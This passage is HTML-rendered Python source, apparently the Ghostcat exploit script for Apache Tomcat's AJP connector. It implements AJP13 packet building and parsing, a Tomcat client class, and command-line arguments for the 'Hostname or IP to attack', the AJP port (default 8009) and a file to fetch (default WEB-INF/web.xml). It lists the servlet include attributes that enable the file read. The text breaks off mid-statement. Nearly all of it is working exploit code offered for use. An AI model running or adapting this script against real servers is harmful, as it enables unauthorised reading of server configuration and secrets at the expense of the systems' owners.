struct.</span><span>pack</span><span>(</span><span>"&gt;h"</span><span>, </span><span>self</span><span>.num_headers)</span></div></div><div><div><div>87</div></div><div><span>    </span><span>for</span><span> h_name </span><span>in</span><span> </span><span>self</span><span>.request_headers:</span></div></div><div><div><div>88</div></div><div><span>      </span><span>if</span><span><span> h_name.</span><span>startswith</span><span>(</span></span><span>"SC_REQ"</span><span>):</span></div></div><div><div><div>89</div></div><div><span><span>        </span></span><span>code </span><span>=</span><span> AjpForwardRequest.</span><span>COMMON_HEADERS</span><span>.</span><span>index</span><span>(h_name) </span><span>+</span><span> </span><span>1</span></div></div><div><div><div>90</div></div><div><span><span>        </span></span><span>res </span><span>+=</span><span> struct.</span><span>pack</span><span>(</span><span>"BB"</span><span>, </span><span>0x</span><span>A0</span><span>, code)</span></div></div><div><div><div>91</div></div><div><span>      </span><span>else</span><span>:</span></div></div><div><div><div>92</div></div><div><span><span>        </span></span><span>res </span><span>+=</span><span> </span><span>pack_string</span><span>(h_name)</span></div></div><div><div><div>93</div></div><div>
</div></div><div><div><div>94</div></div><div><span><span>      </span></span><span>res </span><span>+=</span><span> </span><span>pack_string</span><span>(</span><span>self</span><span>.request_headers[h_name])</span></div></div><div><div><div>95</div></div><div><span>    </span><span>return</span><span> res</span></div></div><div><div><div>96</div></div><div>
</div></div><div><div><div>97</div></div><div><span>  </span><span>def</span><span> </span><span>pack_attributes</span><span>(</span><span>self</span><span>):</span></div></div><div><div><div>98</div></div><div><span><span>    </span></span><span>res </span><span>=</span><span> </span><span>b</span><span>""</span></div></div><div><div><div>99</div></div><div><span>    </span><span>for</span><span> attr </span><span>in</span><span> </span><span>self</span><span>.attributes:</span></div></div><div><div><div>100</div></div><div><span><span>      </span></span><span>a_name </span><span>=</span><span> attr[</span><span>'name'</span><span>]</span></div></div><div><div><div>101</div></div><div><span><span>      </span></span><span>code </span><span>=</span><span> AjpForwardRequest.</span><span>ATTRIBUTES</span><span>.</span><span>index</span><span>(a_name) </span><span>+</span><span> </span><span>1</span></div></div><div><div><div>102</div></div><div><span><span>      </span></span><span>res </span><span>+=</span><span> struct.</span><span>pack</span><span>(</span><span>"b"</span><span>, code)</span></div></div><div><div><div>103</div></div><div><span>      </span><span>if</span><span><span> a_name </span><span>==</span><span> </span></span><span>"req_attribute"</span><span>:</span></div></div><div><div><div>104</div></div><div><span><span>        </span></span><span>aa_name, a_value </span><span>=</span><span> attr[</span><span>'value'</span><span>]</span></div></div><div><div><div>105</div></div><div><span><span>        </span></span><span>res </span><span>+=</span><span> </span><span>pack_string</span><span>(aa_name)</span></div></div><div><div><div>106</div></div><div><span><span>        </span></span><span>res </span><span>+=</span><span> </span><span>pack_string</span><span>(a_value)</span></div></div><div><div><div>107</div></div><div><span>      </span><span>else</span><span>:</span></div></div><div><div><div>108</div></div><div><span><span>        </span></span><span>res </span><span>+=</span><span> </span><span>pack_string</span><span>(attr[</span><span>'value'</span><span>])</span></div></div><div><div><div>109</div></div><div><span><span>    </span></span><span>res </span><span>+=</span><span> struct.</span><span>pack</span><span>(</span><span>"B"</span><span>, </span><span>0x</span><span>FF</span><span>)</span></div></div><div><div><div>110</div></div><div><span>    </span><span>return</span><span> res</span></div></div><div><div><div>111</div></div><div><span>  </span><span>def</span><span> </span><span>serialize</span><span>(</span><span>self</span><span>):</span></div></div><div><div><div>112</div></div><div><span><span>    </span></span><span>res </span><span>=</span><span> </span><span>""</span></div></div><div><div><div>113</div></div><div><span><span>    </span></span><span>res </span><span>=</span><span> struct.</span><span>pack</span><span>(</span><span>"bb"</span><span>, </span><span>self</span><span>.prefix_code, </span><span>self</span><span>.method)</span></div></div><div><div><div>114</div></div><div><span><span>    </span></span><span>res </span><span>+=</span><span> </span><span>pack_string</span><span>(</span><span>self</span><span>.protocol)</span></div></div><div><div><div>115</div></div><div><span><span>    </span></span><span>res </span><span>+=</span><span> </span><span>pack_string</span><span>(</span><span>self</span><span>.req_uri)</span></div></div><div><div><div>116</div></div><div><span><span>    </span></span><span>res </span><span>+=</span><span> </span><span>pack_string</span><span>(</span><span>self</span><span>.remote_addr)</span></div></div><div><div><div>117</div></div><div><span><span>    </span></span><span>res </span><span>+=</span><span> </span><span>pack_string</span><span>(</span><span>self</span><span>.remote_host)</span></div></div><div><div><div>118</div></div><div><span><span>    </span></span><span>res </span><span>+=</span><span> </span><span>pack_string</span><span>(</span><span>self</span><span>.server_name)</span></div></div><div><div><div>119</div></div><div><span><span>    </span></span><span>res </span><span>+=</span><span> struct.</span><span>pack</span><span>(</span><span>"&gt;h"</span><span>, </span><span>self</span><span>.server_port)</span></div></div><div><div><div>120</div></div><div><span><span>    </span></span><span>res </span><span>+=</span><span> struct.</span><span>pack</span><span>(</span><span>"?"</span><span>, </span><span>self</span><span>.is_ssl)</span></div></div><div><div><div>121</div></div><div><span><span>    </span></span><span>res </span><span>+=</span><span> </span><span>self</span><span><span>.</span><span>pack_headers</span><span>()</span></span></div></div><div><div><div>122</div></div><div><span><span>    </span></span><span>res </span><span>+=</span><span> </span><span>self</span><span><span>.</span><span>pack_attributes</span><span>()</span></span></div></div><div><div><div>123</div></div><div><span>    </span><span>if</span><span> </span><span>self</span><span><span>.data_direction </span><span>==</span><span> AjpForwardRequest.</span><span>SERVER_TO_CONTAINER</span><span>:</span></span></div></div><div><div><div>124</div></div><div><span><span>      </span></span><span>header </span><span>=</span><span> struct.</span><span>pack</span><span>(</span><span>"&gt;bbh"</span><span>, </span><span>0x</span><span>12</span><span>, </span><span>0x</span><span>34</span><span>, </span><span>len</span><span>(res))</span></div></div><div><div><div>125</div></div><div><span>    </span><span>else</span><span>:</span></div></div><div><div><div>126</div></div><div><span><span>      </span></span><span>header </span><span>=</span><span> struct.</span><span>pack</span><span>(</span><span>"&gt;bbh"</span><span>, </span><span>0x</span><span>41</span><span>, </span><span>0x</span><span>42</span><span>, </span><span>len</span><span>(res))</span></div></div><div><div><div>127</div></div><div><span>    </span><span>return</span><span><span> header </span><span>+</span><span> res</span></span></div></div><div><div><div>128</div></div><div><span>  </span><span>def</span><span> </span><span>parse</span><span>(</span><span>self</span><span>,</span><span><span> </span><span>raw_packet</span></span><span>):</span></div></div><div><div><div>129</div></div><div><span><span>    </span></span><span>stream </span><span>=</span><span> </span><span>StringIO</span><span>(raw_packet)</span></div></div><div><div><div>130</div></div><div><span>    </span><span>self</span><span>.magic1, </span><span>self</span><span><span>.magic2, data_len </span><span>=</span><span> </span><span>unpack</span><span>(stream, </span></span><span>"bbH"</span><span>)</span></div></div><div><div><div>131</div></div><div><span>    </span><span>self</span><span>.prefix_code, </span><span>self</span><span><span>.method </span><span>=</span><span> </span><span>unpack</span><span>(stream, </span></span><span>"bb"</span><span>)</span></div></div><div><div><div>132</div></div><div><span>    </span><span>self</span><span><span>.protocol </span><span>=</span><span> </span><span>unpack_string</span><span>(stream)</span></span></div></div><div><div><div>133</div></div><div><span>    </span><span>self</span><span><span>.req_uri </span><span>=</span><span> </span><span>unpack_string</span><span>(stream)</span></span></div></div><div><div><div>134</div></div><div><span>    </span><span>self</span><span><span>.remote_addr </span><span>=</span><span> </span><span>unpack_string</span><span>(stream)</span></span></div></div><div><div><div>135</div></div><div><span>    </span><span>self</span><span><span>.remote_host </span><span>=</span><span> </span><span>unpack_string</span><span>(stream)</span></span></div></div><div><div><div>136</div></div><div><span>    </span><span>self</span><span><span>.server_name </span><span>=</span><span> </span><span>unpack_string</span><span>(stream)</span></span></div></div><div><div><div>137</div></div><div><span>    </span><span>self</span><span><span>.server_port </span><span>=</span><span> </span><span>unpack</span><span>(stream, </span></span><span>"&gt;h"</span><span>)</span></div></div><div><div><div>138</div></div><div><span>    </span><span>self</span><span><span>.is_ssl </span><span>=</span><span> </span><span>unpack</span><span>(stream, </span></span><span>"?"</span><span>)</span></div></div><div><div><div>139</div></div><div><span>    </span><span>self</span><span><span>.num_headers, </span><span>=</span><span> </span><span>unpack</span><span>(stream, </span></span><span>"&gt;H"</span><span>)</span></div></div><div><div><div>140</div></div><div><span>    </span><span>self</span><span><span>.request_headers </span><span>=</span><span> {}</span></span></div></div><div><div><div>141</div></div><div><span>    </span><span>for</span><span> i </span><span>in</span><span> </span><span>range</span><span>(</span><span>self</span><span>.num_headers):</span></div></div><div><div><div>142</div></div><div><span><span>      </span></span><span>code, </span><span>=</span><span> </span><span>unpack</span><span>(stream, </span><span>"&gt;H"</span><span>)</span></div></div><div><div><div>143</div></div><div><span>      </span><span>if</span><span><span> code </span><span>&gt;</span><span> </span></span><span>0x</span><span>A000</span><span>:</span></div></div><div><div><div>144</div></div><div><span><span>        </span></span><span>h_name </span><span>=</span><span> AjpForwardRequest.</span><span>COMMON_HEADERS</span><span>[code </span><span>-</span><span> </span><span>0x</span><span>A001</span><span>]</span></div></div><div><div><div>145</div></div><div><span>      </span><span>else</span><span>:</span></div></div><div><div><div>146</div></div><div><span><span>        </span></span><span>h_name </span><span>=</span><span> </span><span>unpack</span><span>(stream, </span><span>"</span><span>%d</span><span>s"</span><span><span> </span><span>%</span><span> code)</span></span></div></div><div><div><div>147</div></div><div><span><span>        </span></span><span>stream.</span><span>read</span><span>(</span><span>1</span><span>) </span><span># \0</span></div></div><div><div><div>148</div></div><div><span><span>      </span></span><span>h_value </span><span>=</span><span> </span><span>unpack_string</span><span>(stream)</span></div></div><div><div><div>149</div></div><div><span>      </span><span>self</span><span><span>.request_headers[h_name] </span><span>=</span><span> h_value</span></span></div></div><div><div><div>150</div></div><div><span>  </span><span>def</span><span> </span><span>send_and_receive</span><span>(</span><span>self</span><span>,</span><span><span> </span><span>socket</span></span><span>,</span><span><span> </span><span>stream</span></span><span>,</span><span><span> </span><span>save_cookies</span></span><span>=</span><span>False</span><span>):</span></div></div><div><div><div>151</div></div><div><span><span>    </span></span><span>res </span><span>=</span><span> []</span></div></div><div><div><div>152</div></div><div><span><span>    </span></span><span>i </span><span>=</span><span> socket.</span><span>sendall</span><span>(</span><span>self</span><span><span>.</span><span>serialize</span><span>())</span></span></div></div><div><div><div>153</div></div><div><span>    </span><span>if</span><span> </span><span>self</span><span><span>.method </span><span>==</span><span> AjpForwardRequest.</span><span>POST</span><span>:</span></span></div></div><div><div><div>154</div></div><div><span>      </span><span>return</span><span> res</span></div></div><div><div><div>155</div></div><div>
</div></div><div><div><div>156</div></div><div><span><span>    </span></span><span>r </span><span>=</span><span> AjpResponse.</span><span>receive</span><span>(stream)</span></div></div><div><div><div>157</div></div><div><span>    </span><span>assert</span><span><span> r.prefix_code </span><span>==</span><span> AjpResponse.</span><span>SEND_HEADERS</span></span></div></div><div><div><div>158</div></div><div><span><span>    </span></span><span>res.</span><span>append</span><span>(r)</span></div></div><div><div><div>159</div></div><div><span>    </span><span>if</span><span> save_cookies </span><span>and</span><span> </span><span>'Set-Cookie'</span><span> </span><span>in</span><span> r.response_headers:</span></div></div><div><div><div>160</div></div><div><span>      </span><span>self</span><span>.headers[</span><span>'SC_REQ_COOKIE'</span><span><span>] </span><span>=</span><span> r.response_headers[</span></span><span>'Set-Cookie'</span><span>]</span></div></div><div><div><div>161</div></div><div>
</div></div><div><div><div>162</div></div><div><span>    </span><span># read body chunks and end response packets</span></div></div><div><div><div>163</div></div><div><span>    </span><span>while</span><span> </span><span>True</span><span>:</span></div></div><div><div><div>164</div></div><div><span><span>      </span></span><span>r </span><span>=</span><span> AjpResponse.</span><span>receive</span><span>(stream)</span></div></div><div><div><div>165</div></div><div><span><span>      </span></span><span>res.</span><span>append</span><span>(r)</span></div></div><div><div><div>166</div></div><div><span>      </span><span>if</span><span><span> r.prefix_code </span><span>==</span><span> AjpResponse.</span><span>END_RESPONSE</span><span>:</span></span></div></div><div><div><div>167</div></div><div><span>        </span><span>break</span></div></div><div><div><div>168</div></div><div><span>      </span><span>elif</span><span><span> r.prefix_code </span><span>==</span><span> AjpResponse.</span><span>SEND_BODY_CHUNK</span><span>:</span></span></div></div><div><div><div>169</div></div><div><span>        </span><span>continue</span></div></div><div><div><div>170</div></div><div><span>      </span><span>else</span><span>:</span></div></div><div><div><div>171</div></div><div><span>        </span><span>raise</span><span> </span><span>NotImplementedError</span></div></div><div><div><div>172</div></div><div><span>        </span><span>break</span></div></div><div><div><div>173</div></div><div>
</div></div><div><div><div>174</div></div><div><span>    </span><span>return</span><span> res</span></div></div><div><div><div>175</div></div><div>
</div></div><div><div><div>176</div></div><div><span>class</span><span><span> </span><span>AjpResponse</span><span>(</span></span><span>object</span><span>)</span><span>:</span></div></div><div><div><div>177</div></div><div><span><span>  </span></span><span>_,_,_,</span><span>SEND_BODY_CHUNK</span><span>, </span><span>SEND_HEADERS</span><span>, </span><span>END_RESPONSE</span><span>, </span><span>GET_BODY_CHUNK</span><span> </span><span>=</span><span> </span><span>range</span><span>(</span><span>7</span><span>)</span></div></div><div><div><div>178</div></div><div><span><span>  </span></span><span>COMMON_SEND_HEADERS</span><span> </span><span>=</span><span> [</span></div></div><div><div><div>179</div></div><div><span>      </span><span>"Content-Type"</span><span>, </span><span>"Content-Language"</span><span>, </span><span>"Content-Length"</span><span>, </span><span>"Date"</span><span>, </span><span>"Last-Modified"</span><span>,</span></div></div><div><div><div>180</div></div><div><span>      </span><span>"Location"</span><span>, </span><span>"Set-Cookie"</span><span>, </span><span>"Set-Cookie2"</span><span>, </span><span>"Servlet-Engine"</span><span>, </span><span>"Status"</span><span>, </span><span>"WWW-Authenticate"</span></div></div><div><div><div>181</div></div><div><span><span>      </span></span><span>]</span></div></div><div><div><div>182</div></div><div><span>  </span><span>def</span><span> </span><span>parse</span><span>(</span><span>self</span><span>,</span><span><span> </span><span>stream</span></span><span>):</span></div></div><div><div><div>183</div></div><div><span>    </span><span># read headers</span></div></div><div><div><div>184</div></div><div><span>    </span><span>self</span><span>.magic, </span><span>self</span><span>.data_length, </span><span>self</span><span><span>.prefix_code </span><span>=</span><span> </span><span>unpack</span><span>(stream, </span></span><span>"&gt;HHb"</span><span>)</span></div></div><div><div><div>185</div></div><div><span>    </span><span>if</span><span> </span><span>self</span><span><span>.prefix_code </span><span>==</span><span> AjpResponse.</span><span>SEND_HEADERS</span><span>:</span></span></div></div><div><div><div>186</div></div><div><span>      </span><span>self</span><span><span>.</span><span>parse_send_headers</span><span>(stream)</span></span></div></div><div><div><div>187</div></div><div><span>    </span><span>elif</span><span> </span><span>self</span><span><span>.prefix_code </span><span>==</span><span> AjpResponse.</span><span>SEND_BODY_CHUNK</span><span>:</span></span></div></div><div><div><div>188</div></div><div><span>      </span><span>self</span><span><span>.</span><span>parse_send_body_chunk</span><span>(stream)</span></span></div></div><div><div><div>189</div></div><div><span>    </span><span>elif</span><span> </span><span>self</span><span><span>.prefix_code </span><span>==</span><span> AjpResponse.</span><span>END_RESPONSE</span><span>:</span></span></div></div><div><div><div>190</div></div><div><span>      </span><span>self</span><span><span>.</span><span>parse_end_response</span><span>(stream)</span></span></div></div><div><div><div>191</div></div><div><span>    </span><span>elif</span><span> </span><span>self</span><span><span>.prefix_code </span><span>==</span><span> AjpResponse.</span><span>GET_BODY_CHUNK</span><span>:</span></span></div></div><div><div><div>192</div></div><div><span>      </span><span>self</span><span><span>.</span><span>parse_get_body_chunk</span><span>(stream)</span></span></div></div><div><div><div>193</div></div><div><span>    </span><span>else</span><span>:</span></div></div><div><div><div>194</div></div><div><span>      </span><span>raise</span><span> </span><span>NotImplementedError</span></div></div><div><div><div>195</div></div><div>
</div></div><div><div><div>196</div></div><div><span>  </span><span>def</span><span> </span><span>parse_send_headers</span><span>(</span><span>self</span><span>,</span><span><span> </span><span>stream</span></span><span>):</span></div></div><div><div><div>197</div></div><div><span>    </span><span>self</span><span><span>.http_status_code, </span><span>=</span><span> </span><span>unpack</span><span>(stream, </span></span><span>"&gt;H"</span><span>)</span></div></div><div><div><div>198</div></div><div><span>    </span><span>self</span><span><span>.http_status_msg </span><span>=</span><span> </span><span>unpack_string</span><span>(stream)</span></span></div></div><div><div><div>199</div></div><div><span>    </span><span>self</span><span><span>.num_headers, </span><span>=</span><span> </span><span>unpack</span><span>(stream, </span></span><span>"&gt;H"</span><span>)</span></div></div><div><div><div>200</div></div><div><span>    </span><span>self</span><span><span>.response_headers </span><span>=</span><span> {}</span></span></div></div><div><div><div>201</div></div><div><span>    </span><span>for</span><span> i </span><span>in</span><span> </span><span>range</span><span>(</span><span>self</span><span>.num_headers):</span></div></div><div><div><div>202</div></div><div><span><span>      </span></span><span>code, </span><span>=</span><span> </span><span>unpack</span><span>(stream, </span><span>"&gt;H"</span><span>)</span></div></div><div><div><div>203</div></div><div><span>      </span><span>if</span><span><span> code </span><span>&lt;=</span><span> </span></span><span>0x</span><span>A000</span><span>: </span><span># custom header</span></div></div><div><div><div>204</div></div><div><span><span>        </span></span><span>h_name, </span><span>=</span><span> </span><span>unpack</span><span>(stream, </span><span>"</span><span>%d</span><span>s"</span><span><span> </span><span>%</span><span> code)</span></span></div></div><div><div><div>205</div></div><div><span><span>        </span></span><span>stream.</span><span>read</span><span>(</span><span>1</span><span>) </span><span># \0</span></div></div><div><div><div>206</div></div><div><span><span>        </span></span><span>h_value </span><span>=</span><span> </span><span>unpack_string</span><span>(stream)</span></div></div><div><div><div>207</div></div><div><span>      </span><span>else</span><span>:</span></div></div><div><div><div>208</div></div><div><span><span>        </span></span><span>h_name </span><span>=</span><span> AjpResponse.</span><span>COMMON_SEND_HEADERS</span><span>[code</span><span>-</span><span>0x</span><span>A001</span><span>]</span></div></div><div><div><div>209</div></div><div><span><span>        </span></span><span>h_value </span><span>=</span><span> </span><span>unpack_string</span><span>(stream)</span></div></div><div><div><div>210</div></div><div><span>      </span><span>self</span><span><span>.response_headers[h_name] </span><span>=</span><span> h_value</span></span></div></div><div><div><div>211</div></div><div>
</div></div><div><div><div>212</div></div><div><span>  </span><span>def</span><span> </span><span>parse_send_body_chunk</span><span>(</span><span>self</span><span>,</span><span><span> </span><span>stream</span></span><span>):</span></div></div><div><div><div>213</div></div><div><span>    </span><span>self</span><span><span>.data_length, </span><span>=</span><span> </span><span>unpack</span><span>(stream, </span></span><span>"&gt;H"</span><span>)</span></div></div><div><div><div>214</div></div><div><span>    </span><span>self</span><span><span>.data </span><span>=</span><span> stream.</span><span>read</span><span>(</span></span><span>self</span><span><span>.data_length</span><span>+</span></span><span>1</span><span>)</span></div></div><div><div><div>215</div></div><div>
</div></div><div><div><div>216</div></div><div><span>  </span><span>def</span><span> </span><span>parse_end_response</span><span>(</span><span>self</span><span>,</span><span><span> </span><span>stream</span></span><span>):</span></div></div><div><div><div>217</div></div><div><span>    </span><span>self</span><span><span>.reuse, </span><span>=</span><span> </span><span>unpack</span><span>(stream, </span></span><span>"b"</span><span>)</span></div></div><div><div><div>218</div></div><div>
</div></div><div><div><div>219</div></div><div><span>  </span><span>def</span><span> </span><span>parse_get_body_chunk</span><span>(</span><span>self</span><span>,</span><span><span> </span><span>stream</span></span><span>):</span></div></div><div><div><div>220</div></div><div><span><span>    </span></span><span>rlen, </span><span>=</span><span> </span><span>unpack</span><span>(stream, </span><span>"&gt;H"</span><span>)</span></div></div><div><div><div>221</div></div><div><span>    </span><span>return</span><span> rlen</span></div></div><div><div><div>222</div></div><div>
</div></div><div><div><div>223</div></div><div><span><span>  </span></span><span>@</span><span>staticmethod</span></div></div><div><div><div>224</div></div><div><span>  </span><span>def</span><span> </span><span>receive</span><span>(</span><span>stream</span><span>):</span></div></div><div><div><div>225</div></div><div><span><span>    </span></span><span>r </span><span>=</span><span> </span><span>AjpResponse</span><span>()</span></div></div><div><div><div>226</div></div><div><span><span>    </span></span><span>r.</span><span>parse</span><span>(stream)</span></div></div><div><div><div>227</div></div><div><span>    </span><span>return</span><span> r</span></div></div><div><div><div>228</div></div><div>
</div></div><div><div><div>229</div></div><div><span>import</span><span> socket</span></div></div><div><div><div>230</div></div><div>
</div></div><div><div><div>231</div></div><div><span>def</span><span> </span><span>prepare_ajp_forward_request</span><span>(</span><span>target_host</span><span>,</span><span><span> </span><span>req_uri</span></span><span>,</span><span><span> </span><span>method</span></span><span>=</span><span>AjpForwardRequest.</span><span><span>GET</span><span>):</span></span></div></div><div><div><div>232</div></div><div><span><span>  </span></span><span>fr </span><span>=</span><span> </span><span>AjpForwardRequest</span><span>(AjpForwardRequest.</span><span>SERVER_TO_CONTAINER</span><span>)</span></div></div><div><div><div>233</div></div><div><span><span>  </span></span><span>fr.method </span><span>=</span><span> method</span></div></div><div><div><div>234</div></div><div><span><span>  </span></span><span>fr.protocol </span><span>=</span><span> </span><span>"HTTP/1.1"</span></div></div><div><div><div>235</div></div><div><span><span>  </span></span><span>fr.req_uri </span><span>=</span><span> req_uri</span></div></div><div><div><div>236</div></div><div><span><span>  </span></span><span>fr.remote_addr </span><span>=</span><span> target_host</span></div></div><div><div><div>237</div></div><div><span><span>  </span></span><span>fr.remote_host </span><span>=</span><span> </span><span>None</span></div></div><div><div><div>238</div></div><div><span><span>  </span></span><span>fr.server_name </span><span>=</span><span> target_host</span></div></div><div><div><div>239</div></div><div><span><span>  </span></span><span>fr.server_port </span><span>=</span><span> </span><span>80</span></div></div><div><div><div>240</div></div><div><span><span>  </span></span><span>fr.request_headers </span><span>=</span><span> {</span></div></div><div><div><div>241</div></div><div><span>    </span><span>'SC_REQ_ACCEPT'</span><span>: </span><span>'text/html'</span><span>,</span></div></div><div><div><div>242</div></div><div><span>    </span><span>'SC_REQ_CONNECTION'</span><span>: </span><span>'keep-alive'</span><span>,</span></div></div><div><div><div>243</div></div><div><span>    </span><span>'SC_REQ_CONTENT_LENGTH'</span><span>: </span><span>'0'</span><span>,</span></div></div><div><div><div>244</div></div><div><span>    </span><span>'SC_REQ_HOST'</span><span>: target_host,</span></div></div><div><div><div>245</div></div><div><span>    </span><span>'SC_REQ_USER_AGENT'</span><span>: </span><span>'Mozilla'</span><span>,</span></div></div><div><div><div>246</div></div><div><span>    </span><span>'Accept-Encoding'</span><span>: </span><span>'gzip, deflate, sdch'</span><span>,</span></div></div><div><div><div>247</div></div><div><span>    </span><span>'Accept-Language'</span><span>: </span><span>'en-US,en;q=0.5'</span><span>,</span></div></div><div><div><div>248</div></div><div><span>    </span><span>'Upgrade-Insecure-Requests'</span><span>: </span><span>'1'</span><span>,</span></div></div><div><div><div>249</div></div><div><span>    </span><span>'Cache-Control'</span><span>: </span><span>'max-age=0'</span></div></div><div><div><div>250</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>251</div></div><div><span><span>  </span></span><span>fr.is_ssl </span><span>=</span><span> </span><span>False</span></div></div><div><div><div>252</div></div><div><span><span>  </span></span><span>fr.attributes </span><span>=</span><span> []</span></div></div><div><div><div>253</div></div><div><span>  </span><span>return</span><span> fr</span></div></div><div><div><div>254</div></div><div>
</div></div><div><div><div>255</div></div><div><span>class</span><span><span> </span><span>Tomcat</span><span>(</span></span><span>object</span><span>)</span><span>:</span></div></div><div><div><div>256</div></div><div><span>  </span><span>def</span><span> </span><span>__init__</span><span>(</span><span>self</span><span>,</span><span><span> </span><span>target_host</span></span><span>,</span><span><span> </span><span>target_port</span></span><span>):</span></div></div><div><div><div>257</div></div><div><span>    </span><span>self</span><span><span>.target_host </span><span>=</span><span> target_host</span></span></div></div><div><div><div>258</div></div><div><span>    </span><span>self</span><span><span>.target_port </span><span>=</span><span> target_port</span></span></div></div><div><div><div>259</div></div><div><span>    </span><span>self</span><span><span>.socket </span><span>=</span><span> socket.</span><span>socket</span><span>(socket.</span><span>AF_INET</span><span>, socket.</span><span>SOCK_STREAM</span><span>)</span></span></div></div><div><div><div>260</div></div><div><span>    </span><span>self</span><span><span>.socket.</span><span>setsockopt</span><span>(socket.</span><span>SOL_SOCKET</span><span>, socket.</span><span>SO_REUSEADDR</span><span>, </span></span><span>1</span><span>)</span></div></div><div><div><div>261</div></div><div><span>    </span><span>self</span><span><span>.socket.</span><span>connect</span><span>((target_host, target_port))</span></span></div></div><div><div><div>262</div></div><div><span>    </span><span>self</span><span><span>.stream </span><span>=</span><span> </span></span><span>self</span><span><span>.socket.</span><span>makefile</span><span>(</span></span><span>"rb"</span><span>, </span><span>bufsize</span><span>=</span><span>0</span><span>)</span></div></div><div><div><div>263</div></div><div>
</div></div><div><div><div>264</div></div><div><span>  </span><span>def</span><span> </span><span>perform_request</span><span>(</span><span>self</span><span>,</span><span><span> </span><span>req_uri</span></span><span>,</span><span><span> </span><span>headers</span></span><span>=</span><span>{}</span><span>,</span><span><span> </span><span>method</span></span><span>=</span><span>'GET'</span><span>,</span><span><span> </span><span>user</span></span><span>=</span><span>None</span><span>,</span><span><span> </span><span>password</span></span><span>=</span><span>None</span><span>,</span><span><span> </span><span>attributes</span></span><span>=</span><span>[]</span><span>):</span></div></div><div><div><div>265</div></div><div><span>    </span><span>self</span><span><span>.req_uri </span><span>=</span><span> req_uri</span></span></div></div><div><div><div>266</div></div><div><span>    </span><span>self</span><span><span>.forward_request </span><span>=</span><span> </span><span>prepare_ajp_forward_request</span><span>(</span></span><span>self</span><span>.target_host, </span><span>self</span><span>.req_uri, </span><span>method</span><span><span>=</span><span>AjpForwardRequest.</span><span>REQUEST_METHODS</span><span>.</span><span>get</span><span>(method))</span></span></div></div><div><div><div>267</div></div><div><span>    </span><span>print</span><span>(</span><span>"Getting resource at ajp13://</span><span>%s</span><span>:</span><span>%d%s</span><span>"</span><span><span> </span><span>%</span><span> (</span></span><span>self</span><span>.target_host, </span><span>self</span><span>.target_port, req_uri))</span></div></div><div><div><div>268</div></div><div><span>    </span><span>if</span><span> user </span><span>is</span><span> </span><span>not</span><span> </span><span>None</span><span> </span><span>and</span><span> password </span><span>is</span><span> </span><span>not</span><span> </span><span>None</span><span>:</span></div></div><div><div><div>269</div></div><div><span>      </span><span>self</span><span>.forward_request.request_headers[</span><span>'SC_REQ_AUTHORIZATION'</span><span><span>] </span><span>=</span><span> </span></span><span>"Basic "</span><span><span> </span><span>+</span><span> (</span></span><span>"</span><span>%s</span><span>:</span><span>%s</span><span>"</span><span><span> </span><span>%</span><span> (user, password)).</span><span>encode</span><span>(</span></span><span>'base64'</span><span><span>).</span><span>replace</span><span>(</span></span><span>'</span><span>\n</span><span>'</span><span>, </span><span>''</span><span>)</span></div></div><div><div><div>270</div></div><div><span>    </span><span>for</span><span> h </span><span>in</span><span> headers:</span></div></div><div><div><div>271</div></div><div><span>      </span><span>self</span><span><span>.forward_request.request_headers[h] </span><span>=</span><span> headers[h]</span></span></div></div><div><div><div>272</div></div><div><span>    </span><span>for</span><span> a </span><span>in</span><span> attributes:</span></div></div><div><div><div>273</div></div><div><span>      </span><span>self</span><span><span>.forward_request.attributes.</span><span>append</span><span>(a)</span></span></div></div><div><div><div>274</div></div><div><span><span>    </span></span><span>responses </span><span>=</span><span> </span><span>self</span><span><span>.forward_request.</span><span>send_and_receive</span><span>(</span></span><span>self</span><span>.socket, </span><span>self</span><span>.stream)</span></div></div><div><div><div>275</div></div><div><span>    </span><span>if</span><span> </span><span>len</span><span><span>(responses) </span><span>==</span><span> </span></span><span>0</span><span>:</span></div></div><div><div><div>276</div></div><div><span>      </span><span>return</span><span> </span><span>None</span><span>, </span><span>None</span></div></div><div><div><div>277</div></div><div><span><span>    </span></span><span>snd_hdrs_res </span><span>=</span><span> responses[</span><span>0</span><span>]</span></div></div><div><div><div>278</div></div><div><span><span>    </span></span><span>data_res </span><span>=</span><span> responses[</span><span>1</span><span><span>:</span><span>-</span></span><span>1</span><span>]</span></div></div><div><div><div>279</div></div><div><span>    </span><span>if</span><span> </span><span>len</span><span><span>(data_res) </span><span>==</span><span> </span></span><span>0</span><span>:</span></div></div><div><div><div>280</div></div><div><span>      </span><span>print</span><span>(</span><span>"No data in response. Headers:</span><span>%s</span><span>\n</span><span>"</span><span><span> </span><span>%</span><span> snd_hdrs_res.response_headers)</span></span></div></div><div><div><div>281</div></div><div><span>    </span><span>return</span><span> snd_hdrs_res, data_res</span></div></div><div><div><div>282</div></div><div>
</div></div><div><div><div>283</div></div><div><span>'''</span></div></div><div><div><div>284</div></div><div><span>javax.servlet.include.request_uri</span></div></div><div><div><div>285</div></div><div><span>javax.servlet.include.path_info</span></div></div><div><div><div>286</div></div><div><span>javax.servlet.include.servlet_path</span></div></div><div><div><div>287</div></div><div><span>'''</span></div></div><div><div><div>288</div></div><div>
</div></div><div><div><div>289</div></div><div><span>import</span><span> argparse</span></div></div><div><div><div>290</div></div><div><span><span>parser </span><span>=</span><span> argparse.</span><span>ArgumentParser</span><span>()</span></span></div></div><div><div><div>291</div></div><div><span><span>parser.</span><span>add_argument</span><span>(</span></span><span>"target"</span><span>, </span><span>type</span><span>=</span><span>str</span><span>, </span><span>help</span><span>=</span><span>"Hostname or IP to attack"</span><span>)</span></div></div><div><div><div>292</div></div><div><span><span>parser.</span><span>add_argument</span><span>(</span></span><span>'-p'</span><span>, </span><span>'--port'</span><span>, </span><span>type</span><span>=</span><span>int</span><span>, </span><span>default</span><span>=</span><span>8009</span><span>, </span><span>help</span><span>=</span><span>"AJP port to attack (default is 8009)"</span><span>)</span></div></div><div><div><div>293</div></div><div><span><span>parser.</span><span>add_argument</span><span>(</span></span><span>"-f"</span><span>, </span><span>'--file'</span><span>, </span><span>type</span><span>=</span><span>str</span><span>, </span><span>default</span><span>=</span><span>'WEB-INF/web.xml'</span><span>, </span><span>help</span><span>=</span><span>"file path :(WEB-INF/web.xml)"</span><span>)</span></div></div><div><div><div>294</div></div><div><span><span>args </span><span>=</span><span> parser.</span><span>parse_args</span><span>()</span></span></div></div><div><div><div>295</div></div><div><span><span>t </span><span>=</span><span> </span><span>Tomcat</span><span>(args.target, args.port)</span></span></div></div><div><div><div>296</div></div><div><span><span>_,data </span><span>=</span><span> 